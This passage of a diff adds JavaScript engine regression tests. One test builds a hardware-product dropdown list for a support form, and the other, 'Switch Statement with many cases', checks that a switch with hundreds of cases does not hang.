+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster Banshee', '1506'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster Banshee AGP', '1507'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 7 : // Modems & Networking
+ switch(parseInt(famID)) {
+
+ case 41 : // Wireless
+ try { addBoxItem(document.Support_Form.Product_ID, 'USB Adapter CB2431', '10863'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Network Blaster Wireless PCMCIA Card', '3868'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 42 : // Broadband
+ try { addBoxItem(document.Support_Form.Product_ID, 'Broadband Blaster DSL Router 8015U', '11176'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Broadband Blaster Router 8110', '10280'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Broadband Blaster ADSL Bridge ', '4873'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Broadband Blaster USB Modem', '4871'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Broadband Blaster DSL', '4921'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 40 : // Analog
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster PCMCIA', '24'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster V.92 PCI', '52'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster V.92 Serial', '258'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster V.92 USB', '266'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem 56k Internal', '1715'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster Flash 56II ISA', '18'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster V.90 ISA', '19'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster Flash 56 PCI', '21'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster V.90 USB', '22'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster V.90 External', '23'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster USB (DE5675)', '8992'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster USB (DE5673)', '8991'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster PCI (DI5663)', '4999'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster PCI (DI5656)', '8988'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster PCI (DI5655)', '8989'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster External (DE5625)', '8990'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster 28.8 External', '5000'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'CT5451 Modem Blaster Voice PnP', '5001'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Phone Blaster', '1809'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 106 : // Software
+ switch(parseInt(famID)) {
+
+ case 241 : // HansVision DXT
+ try { addBoxItem(document.Support_Form.Product_ID, 'HansVision DXT 2005 Edition', '12218'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 242 : // Children\'s Multimedia Educational
+ try { addBoxItem(document.Support_Form.Product_ID, 'WaWaYaYa Happy Mandarin Series', '11269'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WaWaYaYa Happy English Series', '4932'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 107 : // HansVision
+ try { addBoxItem(document.Support_Form.Product_ID, 'HansVision DXT', '4928'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 108 : // WaWaYaYa
+ try { addBoxItem(document.Support_Form.Product_ID, 'WaWaYaYa Comprehensive Ability Series', '4930'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 109 : // Others
+
+ break;
+
+
+ }
+ break;
+
+ }
+ // addBoxItem(document.Support_Form.Product_ID, 'Zen Portable Media Center', 'DUMMYPREFIX_ZenPMC_Temp|9882');
+}
+
+try
+{
+ productList(0,0);
+}
+catch(e)
+{
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/statements/regress-324650.js b/js/src/tests/non262/statements/regress-324650.js
new file mode 100644
index 0000000000..d4314582a6
--- /dev/null
+++ b/js/src/tests/non262/statements/regress-324650.js
@@ -0,0 +1,5427 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 324650;
+var summary = 'Switch Statement with many cases';
+var actual = 'No Hang';
+var expect = 'No Hang';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var notevil = "z1";
+var notevil2 = "z2";
+var notevil3 = "z3";
+var dut = 7;
+var dut2 = 7;
+var dut3 = 7;
+
+/* shouldn't be evil */
+
+switch ( notevil ) {
+case "z1": dut = 2;
+ break;
+case "z2":
+ notevil = (notevil + 2)/2;
+ break;
+case "z3":
+ notevil = (notevil + 3)/2;
+ break;
+case "z4":
+ notevil = (notevil + 4)/2;
+ break;
+case "z5":
+ notevil = (notevil + 5)/2;
+ break;
+case "z6":
+ notevil = (notevil + 6)/2;
+ break;
+case "z7":
+ notevil = (notevil + 7)/2;
+ break;
+case "z8":
+ notevil = (notevil + 8)/2;
+ break;
+case "z9":
+ notevil = (notevil + 9)/2;
+ break;
+case "z10":
+ notevil = (notevil + 10)/2;
+ break;
+case "z11":
+ notevil = (notevil + 11)/2;
+ break;
+case "z12":
+ notevil = (notevil + 12)/2;
+ break;
+case "z13":
+ notevil = (notevil + 13)/2;
+ break;
+case "z14":
+ notevil = (notevil + 14)/2;
+ break;
+case "z15":
+ notevil = (notevil + 15)/2;
+ break;
+case "z16":
+ notevil = (notevil + 16)/2;
+ break;
+case "z17":
+ notevil = (notevil + 17)/2;
+ break;
+case "z18":
+ notevil = (notevil + 18)/2;
+ break;
+case "z19":
+ notevil = (notevil + 19)/2;
+ break;
+case "z20":
+ notevil = (notevil + 20)/2;
+ break;
+case "z21":
+ notevil = (notevil + 21)/2;
+ break;
+case "z22":
+ notevil = (notevil + 22)/2;
+ break;
+case "z23":
+ notevil = (notevil + 23)/2;
+ break;
+case "z24":
+ notevil = (notevil + 24)/2;
+ break;
+case "z25":
+ notevil = (notevil + 25)/2;
+ break;
+case "z26":
+ notevil = (notevil + 26)/2;
+ break;
+case "z27":
+ notevil = (notevil + 27)/2;
+ break;
+case "z28":
+ notevil = (notevil + 28)/2;
+ break;
+case "z29":
+ notevil = (notevil + 29)/2;
+ break;
+case "z30":
+ notevil = (notevil + 30)/2;
+ break;
+case "z31":
+ notevil = (notevil + 31)/2;
+ break;
+case "z32":
+ notevil = (notevil + 32)/2;
+ break;
+case "z33":
+ notevil = (notevil + 33)/2;
+ break;
+case "z34":
+ notevil = (notevil + 34)/2;
+ break;
+case "z35":
+ notevil = (notevil + 35)/2;
+ break;
+case "z36":
+ notevil = (notevil + 36)/2;
+ break;
+case "z37":
+ notevil = (notevil + 37)/2;
+ break;
+case "z38":
+ notevil = (notevil + 38)/2;
+ break;
+case "z39":
+ notevil = (notevil + 39)/2;
+ break;
+case "z40":
+ notevil = (notevil + 40)/2;
+ break;
+case "z41":
+ notevil = (notevil + 41)/2;
+ break;
+case "z42":
+ notevil = (notevil + 42)/2;
+ break;
+case "z43":
+ notevil = (notevil + 43)/2;
+ break;
+case "z44":
+ notevil = (notevil + 44)/2;
+ break;
+case "z45":
+ notevil = (notevil + 45)/2;
+ break;
+case "z46":
+ notevil = (notevil + 46)/2;
+ break;
+case "z47":
+ notevil = (notevil + 47)/2;
+ break;
+case "z48":
+ notevil = (notevil + 48)/2;
+ break;
+case "z49":
+ notevil = (notevil + 49)/2;
+ break;
+case "z50":
+ notevil = (notevil + 50)/2;
+ break;
+case "z51":
+ notevil = (notevil + 51)/2;
+ break;
+case "z52":
+ notevil = (notevil + 52)/2;
+ break;
+case "z53":
+ notevil = (notevil + 53)/2;
+ break;
+case "z54":
+ notevil = (notevil + 54)/2;
+ break;
+case "z55":
+ notevil = (notevil + 55)/2;
+ break;
+case "z56":
+ notevil = (notevil + 56)/2;
+ break;
+case "z57":
+ notevil = (notevil + 57)/2;
+ break;
+case "z58":
+ notevil = (notevil + 58)/2;
+ break;
+case "z59":
+ notevil = (notevil + 59)/2;
+ break;
+case "z60":
+ notevil = (notevil + 60)/2;
+ break;
+case "z61":
+ notevil = (notevil + 61)/2;
+ break;
+case "z62":
+ notevil = (notevil + 62)/2;
+ break;
+case "z63":
+ notevil = (notevil + 63)/2;
+ break;
+case "z64":
+ notevil = (notevil + 64)/2;
+ break;
+case "z65":
+ notevil = (notevil + 65)/2;
+ break;
+case "z66":
+ notevil = (notevil + 66)/2;
+ break;
+case "z67":
+ notevil = (notevil + 67)/2;
+ break;
+case "z68":
+ notevil = (notevil + 68)/2;
+ break;
+case "z69":
+ notevil = (notevil + 69)/2;
+ break;
+case "z70":
+ notevil = (notevil + 70)/2;
+ break;
+case "z71":
+ notevil = (notevil + 71)/2;
+ break;
+case "z72":
+ notevil = (notevil + 72)/2;
+ break;
+case "z73":
+ notevil = (notevil + 73)/2;
+ break;
+case "z74":
+ notevil = (notevil + 74)/2;
+ break;
+case "z75":
+ notevil = (notevil + 75)/2;
+ break;
+case "z76":
+ notevil = (notevil + 76)/2;
+ break;
+case "z77":
+ notevil = (notevil + 77)/2;
+ break;
+case "z78":
+ notevil = (notevil + 78)/2;
+ break;
+case "z79":
+ notevil = (notevil + 79)/2;
+ break;
+case "z80":
+ notevil = (notevil + 80)/2;
+ break;
+case "z81":
+ notevil = (notevil + 81)/2;
+ break;
+case "z82":
+ notevil = (notevil + 82)/2;
+ break;
+case "z83":
+ notevil = (notevil + 83)/2;
+ break;
+case "z84":
+ notevil = (notevil + 84)/2;
+ break;
+case "z85":
+ notevil = (notevil + 85)/2;
+ break;
+case "z86":
+ notevil = (notevil + 86)/2;
+ break;
+case "z87":
+ notevil = (notevil + 87)/2;
+ break;
+case "z88":
+ notevil = (notevil + 88)/2;
+ break;
+case "z89":
+ notevil = (notevil + 89)/2;
+ break;
+case "z90":
+ notevil = (notevil + 90)/2;
+ break;
+case "z91":
+ notevil = (notevil + 91)/2;
+ break;
+case "z92":
+ notevil = (notevil + 92)/2;
+ break;
+case "z93":
+ notevil = (notevil + 93)/2;
+ break;
+case "z94":
+ notevil = (notevil + 94)/2;
+ break;
+case "z95":
+ notevil = (notevil + 95)/2;
+ break;
+case "z96":
+ notevil = (notevil + 96)/2;
+ break;
+case "z97":
+ notevil = (notevil + 97)/2;
+ break;
+case "z98":
+ notevil = (notevil + 98)/2;
+ break;
+case "z99":
+ notevil = (notevil + 99)/2;
+ break;
+case "z100":
+ notevil = (notevil + 100)/2;
+ break;
+case "z101":
+ notevil = (notevil + 101)/2;
+ break;
+case "z102":
+ notevil = (notevil + 102)/2;
+ break;
+case "z103":
+ notevil = (notevil + 103)/2;
+ break;
+case "z104":
+ notevil = (notevil + 104)/2;
+ break;
+case "z105":
+ notevil = (notevil + 105)/2;
+ break;
+case "z106":
+ notevil = (notevil + 106)/2;
+ break;
+case "z107":
+ notevil = (notevil + 107)/2;
+ break;
+case "z108":
+ notevil = (notevil + 108)/2;
+ break;
+case "z109":
+ notevil = (notevil + 109)/2;
+ break;
+case "z110":
+ notevil = (notevil + 110)/2;
+ break;
+case "z111":
+ notevil = (notevil + 111)/2;
+ break;
+case "z112":
+ notevil = (notevil + 112)/2;
+ break;
+case "z113":
+ notevil = (notevil + 113)/2;
+ break;
+case "z114":
+ notevil = (notevil + 114)/2;
+ break;
+case "z115":
+ notevil = (notevil + 115)/2;
+ break;
+case "z116":
+ notevil = (notevil + 116)/2;
+ break;
+case "z117":
+ notevil = (notevil + 117)/2;
+ break;
+case "z118":
+ notevil = (notevil + 118)/2;
+ break;
+case "z119":
+ notevil = (notevil + 119)/2;
+ break;
+case "z120":
+ notevil = (notevil + 120)/2;
+ break;
+case "z121":
+ notevil = (notevil + 121)/2;
+ break;
+case "z122":
+ notevil = (notevil + 122)/2;
+ break;
+case "z123":
+ notevil = (notevil + 123)/2;
+ break;
+case "z124":
+ notevil = (notevil + 124)/2;
+ break;
+case "z125":
+ notevil = (notevil + 125)/2;
+ break;
+case "z126":
+ notevil = (notevil + 126)/2;
+ break;
+case "z127":
+ notevil = (notevil + 127)/2;
+ break;
+case "z128":
+ notevil = (notevil + 128)/2;
+ break;
+case "z129":
+ notevil = (notevil + 129)/2;
+ break;
+case "z130":
+ notevil = (notevil + 130)/2;
+ break;
+case "z131":
+ notevil = (notevil + 131)/2;
+ break;
+case "z132":
+ notevil = (notevil + 132)/2;
+ break;
+case "z133":
+ notevil = (notevil + 133)/2;
+ break;
+case "z134":
+ notevil = (notevil + 134)/2;
+ break;
+case "z135":
+ notevil = (notevil + 135)/2;
+ break;
+case "z136":
+ notevil = (notevil + 136)/2;
+ break;
+case "z137":
+ notevil = (notevil + 137)/2;
+ break;
+case "z138":
+ notevil = (notevil + 138)/2;
+ break;
+case "z139":
+ notevil = (notevil + 139)/2;
+ break;
+case "z140":
+ notevil = (notevil + 140)/2;
+ break;
+case "z141":
+ notevil = (notevil + 141)/2;
+ break;
+case "z142":
+ notevil = (notevil + 142)/2;
+ break;
+case "z143":
+ notevil = (notevil + 143)/2;
+ break;
+case "z144":
+ notevil = (notevil + 144)/2;
+ break;
+case "z145":
+ notevil = (notevil + 145)/2;
+ break;
+case "z146":
+ notevil = (notevil + 146)/2;
+ break;
+case "z147":
+ notevil = (notevil + 147)/2;
+ break;
+case "z148":
+ notevil = (notevil + 148)/2;
+ break;
+case "z149":
+ notevil = (notevil + 149)/2;
+ break;
+case "z150":
+ notevil = (notevil + 150)/2;
+ break;
+case "z151":
+ notevil = (notevil + 151)/2;
+ break;
+case "z152":
+ notevil = (notevil + 152)/2;
+ break;
+case "z153":
+ notevil = (notevil + 153)/2;
+ break;
+case "z154":
+ notevil = (notevil + 154)/2;
+ break;
+case "z155":
+ notevil = (notevil + 155)/2;
+ break;
+case "z156":
+ notevil = (notevil + 156)/2;
+ break;
+case "z157":
+ notevil = (notevil + 157)/2;
+ break;
+case "z158":
+ notevil = (notevil + 158)/2;
+ break;
+case "z159":
+ notevil = (notevil + 159)/2;
+ break;
+case "z160":
+ notevil = (notevil + 160)/2;
+ break;
+case "z161":
+ notevil = (notevil + 161)/2;
+ break;
+case "z162":
+ notevil = (notevil + 162)/2;
+ break;
+case "z163":
+ notevil = (notevil + 163)/2;
+ break;
+case "z164":
+ notevil = (notevil + 164)/2;
+ break;
+case "z165":
+ notevil = (notevil + 165)/2;
+ break;
+case "z166":
+ notevil = (notevil + 166)/2;
+ break;
+case "z167":
+ notevil = (notevil + 167)/2;
+ break;
+case "z168":
+ notevil = (notevil + 168)/2;
+ break;
+case "z169":
+ notevil = (notevil + 169)/2;
+ break;
+case "z170":
+ notevil = (notevil + 170)/2;
+ break;
+case "z171":
+ notevil = (notevil + 171)/2;
+ break;
+case "z172":
+ notevil = (notevil + 172)/2;
+ break;
+case "z173":
+ notevil = (notevil + 173)/2;
+ break;
+case "z174":
+ notevil = (notevil + 174)/2;
+ break;
+case "z175":
+ notevil = (notevil + 175)/2;
+ break;
+case "z176":
+ notevil = (notevil + 176)/2;
+ break;
+case "z177":
+ notevil = (notevil + 177)/2;
+ break;
+case "z178":
+ notevil = (notevil + 178)/2;
+ break;
+case "z179":
+ notevil = (notevil + 179)/2;
+ break;
+case "z180":
+ notevil = (notevil + 180)/2;
+ break;
+case "z181":
+ notevil = (notevil + 181)/2;
+ break;
+case "z182":
+ notevil = (notevil + 182)/2;
+ break;
+case "z183":
+ notevil = (notevil + 183)/2;
+ break;
+case "z184":
+ notevil = (notevil + 184)/2;
+ break;
+case "z185":
+ notevil = (notevil + 185)/2;
+ break;
+case "z186":
+ notevil = (notevil + 186)/2;
+ break;
+case "z187":
+ notevil = (notevil + 187)/2;
+ break;
+case "z188":
+ notevil = (notevil + 188)/2;
+ break;
+case "z189":
+ notevil = (notevil + 189)/2;
+ break;
+case "z190":
+ notevil = (notevil + 190)/2;
+ break;
+case "z191":
+ notevil = (notevil + 191)/2;
+ break;
+case "z192":
+ notevil = (notevil + 192)/2;
+ break;
+case "z193":
+ notevil = (notevil + 193)/2;
+ break;
+case "z194":
+ notevil = (notevil + 194)/2;
+ break;
+case "z195":
+ notevil = (notevil + 195)/2;
+ break;
+case "z196":
+ notevil = (notevil + 196)/2;
+ break;
+case "z197":
+ notevil = (notevil + 197)/2;
+ break;
+case "z198":
+ notevil = (notevil + 198)/2;
+ break;
+case "z199":
+ notevil = (notevil + 199)/2;
+ break;
+case "z200":
+ notevil = (notevil + 200)/2;
+ break;
+case "z201":
+ notevil = (notevil + 201)/2;
+ break;
+case "z202":
+ notevil = (notevil + 202)/2;
+ break;
+case "z203":
+ notevil = (notevil + 203)/2;
+ break;
+case "z204":
+ notevil = (notevil + 204)/2;
+ break;
+case "z205":
+ notevil = (notevil + 205)/2;
+ break;
+case "z206":
+ notevil = (notevil + 206)/2;
+ break;
+case "z207":
+ notevil = (notevil + 207)/2;
+ break;
+case "z208":
+ notevil = (notevil + 208)/2;
+ break;
+case "z209":
+ notevil = (notevil + 209)/2;
+ break;
+case "z210":
+ notevil = (notevil + 210)/2;
+ break;
+case "z211":
+ notevil = (notevil + 211)/2;
+ break;
+case "z212":
+ notevil = (notevil + 212)/2;
+ break;
+case "z213":
+ notevil = (notevil + 213)/2;
+ break;
+case "z214":
+ notevil = (notevil + 214)/2;
+ break;
+case "z215":
+ notevil = (notevil + 215)/2;
+ break;
+case "z216":
+ notevil = (notevil + 216)/2;
+ break;
+case "z217":
+ notevil = (notevil + 217)/2;
+ break;
+case "z218":
+ notevil = (notevil + 218)/2;
+ break;
+case "z219":
+ notevil = (notevil + 219)/2;
+ break;
+case "z220":
+ notevil = (notevil + 220)/2;
+ break;
+case "z221":
+ notevil = (notevil + 221)/2;
+ break;
+case "z222":
+ notevil = (notevil + 222)/2;
+ break;
+case "z223":
+ notevil = (notevil + 223)/2;
+ break;
+case "z224":
+ notevil = (notevil + 224)/2;
+ break;
+case "z225":
+ notevil = (notevil + 225)/2;
+ break;
+case "z226":
+ notevil = (notevil + 226)/2;
+ break;
+case "z227":
+ notevil = (notevil + 227)/2;
+ break;
+case "z228":
+ notevil = (notevil + 228)/2;
+ break;
+case "z229":
+ notevil = (notevil + 229)/2;
+ break;
+case "z230":
+ notevil = (notevil + 230)/2;
+ break;
+case "z231":
+ notevil = (notevil + 231)/2;
+ break;
+case "z232":
+ notevil = (notevil + 232)/2;
+ break;
+case "z233":
+ notevil = (notevil + 233)/2;
+ break;
+case "z234":
+ notevil = (notevil + 234)/2;
+ break;
+case "z235":
+ notevil = (notevil + 235)/2;
+ break;
+case "z236":
+ notevil = (notevil + 236)/2;
+ break;
+case "z237":
+ notevil = (notevil + 237)/2;
+ break;
+case "z238":
+ notevil = (notevil + 238)/2;
+ break;
+case "z239":
+ notevil = (notevil + 239)/2;
+ break;
+case "z240":
+ notevil = (notevil + 240)/2;
+ break;
+case "z241":
+ notevil = (notevil + 241)/2;
+ break;
+case "z242":
+ notevil = (notevil + 242)/2;
+ break;
+case "z243":
+ notevil = (notevil + 243)/2;
+ break;
+case "z244":
+ notevil = (notevil + 244)/2;
+ break;
+case "z245":
+ notevil = (notevil + 245)/2;
+ break;
+case "z246":
+ notevil = (notevil + 246)/2;
+ break;
+case "z247":
+ notevil = (notevil + 247)/2;
+ break;
+case "z248":
+ notevil = (notevil + 248)/2;
+ break;
+case "z249":
+ notevil = (notevil + 249)/2;
+ break;
+case "z250":
+ notevil = (notevil + 250)/2;
+ break;
+case "z251":
+ notevil = (notevil + 251)/2;
+ break;
+case "z252":
+ notevil = (notevil + 252)/2;
+ break;
+case "z253":
+ notevil = (notevil + 253)/2;
+ break;
+case "z254":
+ notevil = (notevil + 254)/2;
+ break;
+case "z255":
+ notevil = (notevil + 255)/2;
+ break;
+case "z256":
+ notevil = (notevil + 256)/2;
+ break;
+case "z257":
+ notevil = (notevil + 257)/2;
+ break;
+case "z258":
+ notevil = (notevil + 258)/2;
+ break;
+case "z259":
+ notevil = (notevil + 259)/2;
+ break;
+case "z260":
+ notevil = (notevil + 260)/2;
+ break;
+case "z261":
+ notevil = (notevil + 261)/2;
+ break;
+case "z262":
+ notevil = (notevil + 262)/2;
+ break;
+case "z263":
+ notevil = (notevil + 263)/2;
+ break;
+case "z264":
+ notevil = (notevil + 264)/2;
+ break;
+case "z265":
+ notevil = (notevil + 265)/2;
+ break;
+case "z266":
+ notevil = (notevil + 266)/2;
+ break;
+case "z267":
+ notevil = (notevil + 267)/2;
+ break;
+case "z268":
+ notevil = (notevil + 268)/2;
+ break;
+case "z269":
+ notevil = (notevil + 269)/2;
+ break;
+case "z270":
+ notevil = (notevil + 270)/2;
+ break;
+case "z271":
+ notevil = (notevil + 271)/2;
+ break;
+case "z272":
+ notevil = (notevil + 272)/2;
+ break;
+case "z273":
+ notevil = (notevil + 273)/2;
+ break;
+case "z274":
+ notevil = (notevil + 274)/2;
+ break;
+case "z275":
+ notevil = (notevil + 275)/2;
+ break;
+case "z276":
+ notevil = (notevil + 276)/2;
+ break;
+case "z277":
+ notevil = (notevil + 277)/2;
+ break;
+case "z278":
+ notevil = (notevil + 278)/2;
+ break;
+case "z279":
+ notevil = (notevil + 279)/2;
+ break;
+case "z280":
+ notevil = (notevil + 280)/2;
+ break;
+case "z281":
+ notevil = (notevil + 281)/2;
+ break;
+case "z282":
+ notevil = (notevil + 282)/2;
+ break;
+case "z283":
+ notevil = (notevil + 283)/2;
+ break;
+case "z284":
+ notevil = (notevil + 284)/2;
+ break;
+case "z285":
+ notevil = (notevil + 285)/2;
+ break;
+case "z286":
+ notevil = (notevil + 286)/2;
+ break;
+case "z287":
+ notevil = (notevil + 287)/2;
+ break;
+case "z288":
+ notevil = (notevil + 288)/2;
+ break;
+case "z289":
+ notevil = (notevil + 289)/2;
+ break;
+case "z290":
+ notevil = (notevil + 290)/2;
+ break;
+case "z291":
+ notevil = (notevil + 291)/2;
+ break;
+case "z292":
+ notevil = (notevil + 292)/2;
+ break;
+case "z293":
+ notevil = (notevil + 293)/2;
+ break;
+case "z294":
+ notevil = (notevil + 294)/2;
+ break;
+case "z295":
+ notevil = (notevil + 295)/2;
+ break;
+case "z296":
+ notevil = (notevil + 296)/2;
+ break;
+case "z297":
+ notevil = (notevil + 297)/2;
+ break;
+case "z298":
+ notevil = (notevil + 298)/2;
+ break;
+case "z299":
+ notevil = (notevil + 299)/2;
+ break;
+case "z300":
+ notevil = (notevil + 300)/2;
+ break;
+case "z301":
+ notevil = (notevil + 301)/2;
+ break;
+case "z302":
+ notevil = (notevil + 302)/2;
+ break;
+case "z303":
+ notevil = (notevil + 303)/2;
+ break;
+case "z304":
+ notevil = (notevil + 304)/2;
+ break;
+case "z305":
+ notevil = (notevil + 305)/2;
+ break;
+case "z306":
+ notevil = (notevil + 306)/2;
+ break;
+case "z307":
+ notevil = (notevil + 307)/2;
+ break;
+case "z308":
+ notevil = (notevil + 308)/2;
+ break;
+case "z309":
+ notevil = (notevil + 309)/2;
+ break;
+case "z310":
+ notevil = (notevil + 310)/2;
+ break;
+case "z311":
+ notevil = (notevil + 311)/2;
+ break;
+case "z312":
+ notevil = (notevil + 312)/2;
+ break;
+case "z313":
+ notevil = (notevil + 313)/2;
+ break;
+case "z314":
+ notevil = (notevil + 314)/2;
+ break;
+case "z315":
+ notevil = (notevil + 315)/2;
+ break;
+case "z316":
+ notevil = (notevil + 316)/2;
+ break;
+case "z317":
+ notevil = (notevil + 317)/2;
+ break;
+case "z318":
+ notevil = (notevil + 318)/2;
+ break;
+case "z319":
+ notevil = (notevil + 319)/2;
+ break;
+case "z320":
+ notevil = (notevil + 320)/2;
+ break;
+case "z321":
+ notevil = (notevil + 321)/2;
+ break;
+case "z322":
+ notevil = (notevil + 322)/2;
+ break;
+case "z323":
+ notevil = (notevil + 323)/2;
+ break;
+case "z324":
+ notevil = (notevil + 324)/2;
+ break;
+case "z325":
+ notevil = (notevil + 325)/2;
+ break;
+case "z326":
+ notevil = (notevil + 326)/2;
+ break;
+case "z327":
+ notevil = (notevil + 327)/2;
+ break;
+case "z328":
+ notevil = (notevil + 328)/2;
+ break;
+case "z329":
+ notevil = (notevil + 329)/2;
+ break;
+case "z330":
+ notevil = (notevil + 330)/2;
+ break;
+case "z331":
+ notevil = (notevil + 331)/2;
+ break;
+case "z332":
+ notevil = (notevil + 332)/2;
+ break;
+case "z333":
+ notevil = (notevil + 333)/2;
+ break;
+case "z334":
+ notevil = (notevil + 334)/2;
+ break;
+case "z335":
+ notevil = (notevil + 335)/2;
+ break;
+case "z336":
+ notevil = (notevil + 336)/2;
+ break;
+case "z337":
+ notevil = (notevil + 337)/2;
+ break;
+case "z338":
+ notevil = (notevil + 338)/2;
+ break;
+case "z339":
+ notevil = (notevil + 339)/2;
+ break;
+case "z340":
+ notevil = (notevil + 340)/2;
+ break;
+case "z341":
+ notevil = (notevil + 341)/2;
+ break;
+case "z342":
+ notevil = (notevil + 342)/2;
+ break;
+case "z343":
+ notevil = (notevil + 343)/2;
+ break;
+case "z344":
+ notevil = (notevil + 344)/2;
+ break;
+case "z345":
+ notevil = (notevil + 345)/2;
+ break;
+case "z346":
+ notevil = (notevil + 346)/2;
+ break;
+case "z347":
+ notevil = (notevil + 347)/2;
+ break;
+case "z348":
+ notevil = (notevil + 348)/2;
+ break;
+case "z349":
+ notevil = (notevil + 349)/2;
+ break;
+case "z350":
+ notevil = (notevil + 350)/2;
+ break;
+case "z351":
+ notevil = (notevil + 351)/2;
+ break;
+case "z352":
+ notevil = (notevil + 352)/2;
+ break;
+case "z353":
+ notevil = (notevil + 353)/2;
+ break;
+case "z354":
+ notevil = (notevil + 354)/2;
+ break;
+case "z355":
+ notevil = (notevil + 355)/2;
+ break;
+case "z356":
+ notevil = (notevil + 356)/2;
+ break;
+case "z357":
+ notevil = (notevil + 357)/2;
+ break;
+case "z358":
+ notevil = (notevil + 358)/2;
+ break;
+case "z359":
+ notevil = (notevil + 359)/2;
+ break;
+case "z360":
+ notevil = (notevil + 360)/2;
+ break;
+case "z361":
+ notevil = (notevil + 361)/2;
+ break;
+case "z362":
+ notevil = (notevil + 362)/2;
+ break;
+case "z363":
+ notevil = (notevil + 363)/2;
+ break;
+case "z364":
+ notevil = (notevil + 364)/2;
+ break;
+case "z365":
+ notevil = (notevil + 365)/2;
+ break;
+case "z366":
+ notevil = (notevil + 366)/2;
+ break;
+case "z367":
+ notevil = (notevil + 367)/2;
+ break;
+case "z368":
+ notevil = (notevil + 368)/2;
+ break;
+case "z369":
+ notevil = (notevil + 369)/2;
+ break;
+case "z370":
+ notevil = (notevil + 370)/2;
+ break;
+case "z371":
+ notevil = (notevil + 371)/2;
+ break;
+case "z372":
+ notevil = (notevil + 372)/2;
+ break;
+case "z373":
+ notevil = (notevil + 373)/2;
+ break;
+case "z374":
+ notevil = (notevil + 374)/2;
+ break;
+case "z375":
+ notevil = (notevil + 375)/2;
+ break;
+case "z376":
+ notevil = (notevil + 376)/2;
+ break;
+case "z377":
